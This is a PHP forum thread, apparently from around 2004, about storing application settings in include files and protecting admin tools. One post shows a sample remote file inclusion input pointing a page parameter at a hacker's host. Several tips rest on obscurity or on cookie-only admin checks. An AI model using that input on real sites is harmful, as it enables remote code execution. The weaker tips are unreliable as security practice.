Include always... Good Idea?

Setting application vars with an include

[HeadBut]

PHP Newbie wants to know...
I have been including a file with my application variables.
Like $BaseRef, $CookieLife, even error_reporting().
I find it handy for development and it's nice to have a single place to set these options
Is this a bad idea? Does anyone else do this and for what type of application variables? I'm even considering an $Admin flag.

Thanks

[Knowles]

HeadBut welcome to WebmasterWorld!

Do you mean on each of your pages your are using include(file.inc);?

If so that is fine and I would say very common. Different things can be stored in the file and you can have more than one. I often use an include for DB passwords and such to put them in a now web browseable folder for extra security.

[HeadBut]

Do you mean on each of your pages your are using include(file.inc);?
Yea, I'm including a file.php in all my pages. I'm considering an $Admin flag to turn some admin tools on for me. Of course I will need a safe way so others can't hack my site. I'm also curious what others are doing with an 'Application' global include.

[ergophobe]

I typically start with three files

- application top - most settings that a script-specific but not server dependent

In this file I set constants whenever possible rather than variables

- a local settings file that does not get uploaded to a live server. This sets constants/variables for my local environment (db connnection information, debug flag set to true, and so on).

- a remote settings file that does get uploaded to the live server, but outside of web root and it sets constants/variables specific to that server (db connnection information, debug flag set to false, and so on)

I won't claim it's a good way, just that it makes sense to me ;-)

Tom

[grillonweb]

Using include() or require() to get vars, functions and classes to be commonly available to all or many pages is extremely important to set a good programming structure, in my opinion. Global variables like the ones you're using are the most obvious examples of this and you should not be afraid to expand this further.

[mincklerstraat]

When you do this, one security measure you can take is to define a constant in every 'entry' php file (ones that the users surf to, not ones that are included), like define('IN_SITE', 1). Then, in the files that are included, have a line if(!defined('IN_SITE')) die();
You do this to prevent people surfing directly to that included file and starting from there (which could possibly be a security risk). If they do so, the script is stopped immediately. You use a constant instead of a variable since, if for some reason register globals is on, users can set variables by adding parameters to url's or by other means.

[Hester]

Make sure your directories cannot be listed on screen as well. If you don't have an Apache server (eg: you're on Windows IIS) then put a blank 'index.html' file in every folder. If the users try to surf to the folder, it'll just bring up the index file, not the list of your php files and everything else inside the folder!

If you're on Apache, one line of code is all you need, providing you have the rights to upload 'htaccess' files.

Open a plain text editor such as Notepad and paste this in:

Options -Indexes

Save it as ".htaccess" (yes, just an extension, no name) and upload it to the root of your site. Now folders cannot be listed.

[blaketar]

If I may comment on another security concern.

Many people will name their includes with an extension like .inc or .req, load these all into a directory with a .htaccess file so a user cannot browse the directory. However if a user knows the name of one of the .inc files, like admin.inc, he/she can pull it up in a browser and browse allot of potential information!

One thing I always do is have php.ini files parse whatever extension my include files may be, so in conjunction to the standard .php .phtml, include the extension in this!

[Hester]

I always name my includes to match their actual content. So text files are .txt, HTML files are .html and so on.

One mistake to avoid is naming a file .php when there's no PHP in it! (Maybe you took it out.) This causes an unnecessary trip to the parser.

A good security idea might be to give your files unique extensions, something you made up. Eg: file.qjy or something. No-one would guess that!

[ergophobe]

Actually, I *usually* just use mod_rewrite to send all requests through an index.php file. Casual users can't really get to any file directly and the urls have no extensions. In theory, the user should have no clue whether or not it's a php file. Of course, there's no stopping dedicated hackers, but that's another story altogether.

[HeadBut]

I like all these ideas! But I am now concerned about what to do with my Admin files. And is it safe to use an $ADMIN or ADMIN (Constant) to turn on imbeded admin tools in my normal .php files?

What is the risk of:
<?php if (ADMIN){?>
<INPUT TYPE="SUBMIT" Name=Operation" Value="Delete Record">
<?php }?>

Of course I would also want to do something like:
<?php if(($_POST['operation'] == "Delete Record") AND ADMIN){/*Delete Script */}?>

Thanks Again!

[ergophobe]

As previously mentioned, definitely do not do this with a variable if you're on a shared server and someone might turn register_globals on (if you don't know that that means, that's okay, just don't do it).

As for setting the constant, that's probably pretty safe, because the hacker would need to put a script on your site that would set the constant before your script would, so he would likely need access to the filesystem (in which case you are completely compromised).

If, however, you have your site set up so that every page goes to the index page and the url tells which file to include as in
index.php?page=mypage.php

A hacker can easily say
index.php?page=h**p://hackersite.com/malicious_page.php

So it is imperative that the file that defines the whether or not the ADMIN constant is set will be run before any user input is processed.

Ultimately, however, some variation on what you're doing is a virtual necessity if you are going to have admin functions.

I highly recommend that you do a search and try to find the text of Chris Shifflet's (spelling? if that doesn't work, try obvious variations) presentations to the 2004 Open Source Conference on php security. I'm quite sure they are available on the web.

Tom

[StupidScript]

Since you're the only one you want to grant admin access to with certain functions, consider this:

Make a little php page that requests a long, randomized password for an admin login, and write yourself a persistent cookie when you are successful. Delete the little php page, and set your admin scripts to check for the cookie. No cookie = no admin, and there's no cookie-writing file left on the server for a wanderer to test.

You could drop the little php file onto a floppy to take with you, upload, and run to set a new temporary cookie on a remote machine.

[StupidScript]

Cool suggestion, ergophobe!

Check out Chris Shiflett's security talks at: [shiflett.org...]

Seems like quite the informed guy. He has already put the presentation materials (slide show) for his conference speech online. It's linked to from that address.

Presentation materials aren't the whole shebang, of course, but I often enjoy them as they provide a kind of puzzle. I like trying to put the pieces together, myself.

Thanks! :)

[edited by: jatar_k at 3:15 pm (utc) on Sep. 4, 2004]
[edit reason] altered url [/edit]

[ergophobe]

I was thinking in particular of the PHP Security Workbook, rather than the presentation slides. It's a well-organized 55-page PDF.

Tom

[vincevincevince]

That is a good programming method. I normally distinguish between included and browser-targetted php pages by either or both of the following:

1/ Giving them an extension .inc.php (not just .inc for reasons excellently described above)
2/ Placing them above the document root, so that php can access them, but browsers can never hit them

Regarding your admin functions, consider using sessions. But, to avoid starting sessions on every page, first check if there is a session cookie, then, and only then, read the session:

if ($_COOKIE[PHP_SESSID]) 
{
session_start();
if ($_SESSION[admin]) -do the admin functions-
}